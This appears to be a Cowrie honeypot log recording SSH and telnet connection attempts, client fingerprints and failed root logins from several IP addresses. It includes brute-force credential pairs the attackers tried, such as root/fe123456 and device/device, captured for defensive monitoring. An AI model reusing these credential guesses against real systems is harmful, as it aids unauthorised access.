{"eventid":"cowrie.login.failed","username":"root","password":"loopring789","message":"login attempt [root/loopring789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:51.546274Z","src_ip":"162.144.249.8","session":"7c22de386c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:52.577078Z","src_ip":"162.144.249.8","session":"7c22de386c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60160,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9e935404f38","protocol":"telnet","message":"New connection: 170.64.224.25:60160 (159.203.135.109:23) [session: b9e935404f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:53.661227Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.38.102","src_port":52774,"dst_ip":"10.17.0.5","dst_port":22,"session":"79f74d99cccd","protocol":"ssh","message":"New connection: 62.210.38.102:52774 (10.17.0.5:22) [session: 79f74d99cccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.190749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.194566Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.276322Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:66:0d:ca:e8:8c:ba:7f:29:0e:66:3c:d7:b0:d9:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjHZs0fZ8eGZbD47NG74Gy9kIu1Oxr5p1GOpaq+uDEa0Z2jpTUsAtDULLTFhGen3H8f6/HY72NLbhfv31F3FWhCnlyL+/+NNczSDrRoRT8Jp66uA4XcGLz/rwQ2TQjvUHmIAIBwuuKThRFP8IhqVEdBP9uyplovyTe1NpNgSdq3oY4PRAqDoBhL3cbfFUpqJNZJYbcy0OwKSYQY+DITEKu60zNp9o8A8BsmoSDou6YhZz2zgUl+YQkVAoHt+imettX/4aS+ZmXuv1Fxl5TeXBRNwxahFNUhxDRsgGk8AvLlYyfG9bV+d+0Lv6xd9McicZfhJ+rLxQDSrUvcfLf+Ppb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:66:0d:ca:e8:8c:ba:7f:29:0e:66:3c:d7:b0:d9:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.661975Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:66:0d:ca:e8:8c:ba:7f:29:0e:66:3c:d7:b0:d9:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjHZs0fZ8eGZbD47NG74Gy9kIu1Oxr5p1GOpaq+uDEa0Z2jpTUsAtDULLTFhGen3H8f6/HY72NLbhfv31F3FWhCnlyL+/+NNczSDrRoRT8Jp66uA4XcGLz/rwQ2TQjvUHmIAIBwuuKThRFP8IhqVEdBP9uyplovyTe1NpNgSdq3oY4PRAqDoBhL3cbfFUpqJNZJYbcy0OwKSYQY+DITEKu60zNp9o8A8BsmoSDou6YhZz2zgUl+YQkVAoHt+imettX/4aS+ZmXuv1Fxl5TeXBRNwxahFNUhxDRsgGk8AvLlYyfG9bV+d+0Lv6xd9McicZfhJ+rLxQDSrUvcfLf+Ppb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.665968Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:57:c4:93:04:0a:78:af:47:07:b2:b6:a2:98:98:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt6PIDb52QTw26Ff4We6KySGjVFM1CpMe7uwkK/2iZ7Sb5xH4yax/NbHDey7eB2kJcAJT7rqSXmyoTRSJd2nPSFg7vPS8m7jjN07vrDoIE8PO8zi7QWsXvVSuutcfUgP26lKW3QvxIfk/TteNZGV5gzAUjsABnbW/Upiunj4Ca42yp4EQSitalh0Ojitur6b4nU6DzeIDgNB/98v/n8PEPokKOQropX3tqJnVbNZvwhLGlJjbUhzrB29fmuUsuGsYqwcLBiK/Cgt+hqX8KYPsV7mOAie2fTLS/5YBnW4BGNiGh/Gw8V5MTDRMX3Gw8aGFrbSUz+woLwF1zD+YT05pyu2f4lvCdaB3SEn7VjdkfbtdLb/N7dbSqQpHra76qjl3qiqQ9tsjFMxZnJULNyCTB/691HxcCj3CwZv1DHWZELvB15wc9Jn3R90lq1uAKErJtrA9BJnvoL6jLDzIHwhUXP7rr0tvzu7lx82SK9z9af+iUnYsldqb/zvpxo2E//08=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:57:c4:93:04:0a:78:af:47:07:b2:b6:a2:98:98:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.749640Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:57:c4:93:04:0a:78:af:47:07:b2:b6:a2:98:98:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCt6PIDb52QTw26Ff4We6KySGjVFM1CpMe7uwkK/2iZ7Sb5xH4yax/NbHDey7eB2kJcAJT7rqSXmyoTRSJd2nPSFg7vPS8m7jjN07vrDoIE8PO8zi7QWsXvVSuutcfUgP26lKW3QvxIfk/TteNZGV5gzAUjsABnbW/Upiunj4Ca42yp4EQSitalh0Ojitur6b4nU6DzeIDgNB/98v/n8PEPokKOQropX3tqJnVbNZvwhLGlJjbUhzrB29fmuUsuGsYqwcLBiK/Cgt+hqX8KYPsV7mOAie2fTLS/5YBnW4BGNiGh/Gw8V5MTDRMX3Gw8aGFrbSUz+woLwF1zD+YT05pyu2f4lvCdaB3SEn7VjdkfbtdLb/N7dbSqQpHra76qjl3qiqQ9tsjFMxZnJULNyCTB/691HxcCj3CwZv1DHWZELvB15wc9Jn3R90lq1uAKErJtrA9BJnvoL6jLDzIHwhUXP7rr0tvzu7lx82SK9z9af+iUnYsldqb/zvpxo2E//08=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.759981Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:38:56:f8:ce:3e:3d:2c:5c:8d:c3:5e:50:15:7a:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDq/cyhPBpMtPzPFunrHAdPJlPaBkCmN36oaHx9n6XfT0CfitcdtqdRagFnNzaaaZbL9D2ssRea2a3dL7s9HDEuX5NpsnK2CpPOI9Vep2lhmV4rpAf44QpXq3Uq012A+NbcFK2x22bVTw8rAPXr/ApdLNHjtVeZM7BN1nkUjOKfAxysRrEM/SMe5MlQrFh8OLOeAJ6uhwfjSFT9sTYaNN6fzVjhOahdCBA8evfgx4PRFLDE5wItMpdCENs3LBvCCDXh+rduIpuTgcY1FYUZKn3yWXfiKZl3IpX1Q4qJmd7Y3I7kFgyGs5+MzRsnfG6hf31M4p7cbXzGyY5I/qOc3RU2jj1Yli5+DGaLmHRA/fHifY9iZUnQBvQLLzT4knTVFvHxNGt3eV5lbJYlK/0POjtAea+rbf2UlUuE8g+tCmpa8cdHX7l1ShdZkAVrCVd2KZxoIhz9yk2Xv3/VJbwKz2cFUIsMalassSj8iNl065uRGCLYJGKdk0ZNXFIQAIKmBI8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:38:56:f8:ce:3e:3d:2c:5c:8d:c3:5e:50:15:7a:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.841997Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:38:56:f8:ce:3e:3d:2c:5c:8d:c3:5e:50:15:7a:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDq/cyhPBpMtPzPFunrHAdPJlPaBkCmN36oaHx9n6XfT0CfitcdtqdRagFnNzaaaZbL9D2ssRea2a3dL7s9HDEuX5NpsnK2CpPOI9Vep2lhmV4rpAf44QpXq3Uq012A+NbcFK2x22bVTw8rAPXr/ApdLNHjtVeZM7BN1nkUjOKfAxysRrEM/SMe5MlQrFh8OLOeAJ6uhwfjSFT9sTYaNN6fzVjhOahdCBA8evfgx4PRFLDE5wItMpdCENs3LBvCCDXh+rduIpuTgcY1FYUZKn3yWXfiKZl3IpX1Q4qJmd7Y3I7kFgyGs5+MzRsnfG6hf31M4p7cbXzGyY5I/qOc3RU2jj1Yli5+DGaLmHRA/fHifY9iZUnQBvQLLzT4knTVFvHxNGt3eV5lbJYlK/0POjtAea+rbf2UlUuE8g+tCmpa8cdHX7l1ShdZkAVrCVd2KZxoIhz9yk2Xv3/VJbwKz2cFUIsMalassSj8iNl065uRGCLYJGKdk0ZNXFIQAIKmBI8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.845276Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:22:d2:6e:b2:74:eb:2e:a0:42:9c:2c:4d:66:ef:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwS93W5w4FWWqwrTIEP41+l+NOzd17jpEW0ENpco2h+lrUgZHEDvBrBPfaSpDNAKU9uNv9Nrr/8+IuX01pIYJQkyowYTTfxDfxsNg6eCxOcZ6Kzavq+/xESfpai2oYZOWXigccY9bxBOJyJNRSTDtlRHWSwC93LKCgrbV6mfrE2v7aXX5fbSaW1MMW2ZdOEXyKSarkSE691ddnvrsoFeNdYIEF7oplxflds1AfGeRnMYks6x+tVB0OIdTRsxo6ddJK5NHiselYs2zVmfiRNjDO8I6/CCXI9HAnaS+qSbbGh2jueCAE8QPekjMpWfwL6dhQ4LgHvdeYGzeWWsX/nK+gseaDqjBRLtyKGMna+3VJgoleTObzxs5HP5Nhqhm645JT64acb1AV3JkUiYk5a83bhm5dOh6zXMBZ9MdYpKXoNnPXfskl8c3z4STAm9iVuIsb/70gH39TnYzXbFcIPafXQ0qkIASYKYij5LmGAuPVtCrzcMo0Rwmo4QrJsYSUPgMxcbRoLok8s8w3Tp2wcNps31Y5VSISlEoAJj7PdNy+owh24tOfPzgdCXBhznfCgB5c6X4ThnlxDln0ECTlStpiCYtxy+KGsTe/tYOaWuWBfSm8SCKUzHWEk8OoYeDmPUUAMjREoWuJOFoE949VxslM/mvX31jAF/qvfiHbRwEFDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:22:d2:6e:b2:74:eb:2e:a0:42:9c:2c:4d:66:ef:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.927508Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:22:d2:6e:b2:74:eb:2e:a0:42:9c:2c:4d:66:ef:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwS93W5w4FWWqwrTIEP41+l+NOzd17jpEW0ENpco2h+lrUgZHEDvBrBPfaSpDNAKU9uNv9Nrr/8+IuX01pIYJQkyowYTTfxDfxsNg6eCxOcZ6Kzavq+/xESfpai2oYZOWXigccY9bxBOJyJNRSTDtlRHWSwC93LKCgrbV6mfrE2v7aXX5fbSaW1MMW2ZdOEXyKSarkSE691ddnvrsoFeNdYIEF7oplxflds1AfGeRnMYks6x+tVB0OIdTRsxo6ddJK5NHiselYs2zVmfiRNjDO8I6/CCXI9HAnaS+qSbbGh2jueCAE8QPekjMpWfwL6dhQ4LgHvdeYGzeWWsX/nK+gseaDqjBRLtyKGMna+3VJgoleTObzxs5HP5Nhqhm645JT64acb1AV3JkUiYk5a83bhm5dOh6zXMBZ9MdYpKXoNnPXfskl8c3z4STAm9iVuIsb/70gH39TnYzXbFcIPafXQ0qkIASYKYij5LmGAuPVtCrzcMo0Rwmo4QrJsYSUPgMxcbRoLok8s8w3Tp2wcNps31Y5VSISlEoAJj7PdNy+owh24tOfPzgdCXBhznfCgB5c6X4ThnlxDln0ECTlStpiCYtxy+KGsTe/tYOaWuWBfSm8SCKUzHWEk8OoYeDmPUUAMjREoWuJOFoE949VxslM/mvX31jAF/qvfiHbRwEFDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:55.930573Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:a8:ec:38:c5:db:62:15:09:a2:b5:84:30:d4:3d:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qWbR64zpkMbwNnePBNw0V6LDSstkD1BAkk6NWPECHI0avxPsLrkEmIdRthxCqFvIPhqFyss92eARzism4JbdVnnL9RGVU87J87lRcLHX210J9zxkiQ0lkrCDHUoOrK6TXZJarKzCclBLCgEgL4J1M4fS0/QuT6fSS8jMBFhdFJA9L4gTtBZK+yhXZ3Q5J6zJAR+sml29SMh3H0JRMxK/PEHfRFbD/I+LIvlDNvYQ+DAZAn2CiHRDKevCwTW4Bvf9dBjN7IFCDnyKo83wbDmuRl+EpGNcRZDxEEZB+l45VFdz5pFvRPeXX4fZf7q+JqtGGMwaiip+ETN5Dv3Scmuz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:a8:ec:38:c5:db:62:15:09:a2:b5:84:30:d4:3d:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:56.013470Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:a8:ec:38:c5:db:62:15:09:a2:b5:84:30:d4:3d:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qWbR64zpkMbwNnePBNw0V6LDSstkD1BAkk6NWPECHI0avxPsLrkEmIdRthxCqFvIPhqFyss92eARzism4JbdVnnL9RGVU87J87lRcLHX210J9zxkiQ0lkrCDHUoOrK6TXZJarKzCclBLCgEgL4J1M4fS0/QuT6fSS8jMBFhdFJA9L4gTtBZK+yhXZ3Q5J6zJAR+sml29SMh3H0JRMxK/PEHfRFbD/I+LIvlDNvYQ+DAZAn2CiHRDKevCwTW4Bvf9dBjN7IFCDnyKo83wbDmuRl+EpGNcRZDxEEZB+l45VFdz5pFvRPeXX4fZf7q+JqtGGMwaiip+ETN5Dv3Scmuz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:56.016385Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:56.098069Z","src_ip":"62.210.38.102","session":"79f74d99cccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":53106,"dst_ip":"10.17.0.5","dst_port":22,"session":"eba364d253f3","protocol":"ssh","message":"New connection: 177.16.244.39:53106 (10.17.0.5:22) [session: eba364d253f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:01.699811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:01.703665Z","src_ip":"177.16.244.39","session":"eba364d253f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:01.829702Z","src_ip":"177.16.244.39","session":"eba364d253f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"device","password":"device","message":"login attempt [device/device] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:02.377579Z","src_ip":"177.16.244.39","session":"eba364d253f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:03.506319Z","src_ip":"177.16.244.39","session":"eba364d253f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":57030,"dst_ip":"10.17.0.5","dst_port":22,"session":"226de6f8f556","protocol":"ssh","message":"New connection: 162.144.64.128:57030 (10.17.0.5:22) [session: 226de6f8f556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:11.306194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:11.310974Z","src_ip":"162.144.64.128","session":"226de6f8f556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:11.404233Z","src_ip":"162.144.64.128","session":"226de6f8f556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asc3nd3x!M@st3r#P@ss","message":"login attempt [root/Asc3nd3x!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:11.673045Z","src_ip":"162.144.64.128","session":"226de6f8f556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:12.764889Z","src_ip":"162.144.64.128","session":"226de6f8f556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":43404,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8a8b29ecb4f","protocol":"ssh","message":"New connection: 165.232.38.41:43404 (159.203.135.109:22) [session: e8a8b29ecb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:21.443435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:21.449963Z","src_ip":"165.232.38.41","session":"e8a8b29ecb4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:21.521756Z","src_ip":"165.232.38.41","session":"e8a8b29ecb4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fe123456","message":"login attempt [root/fe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:52:21.858441Z","src_ip":"165.232.38.41","session":"e8a8b29ecb4f","protocol":"ssh"}
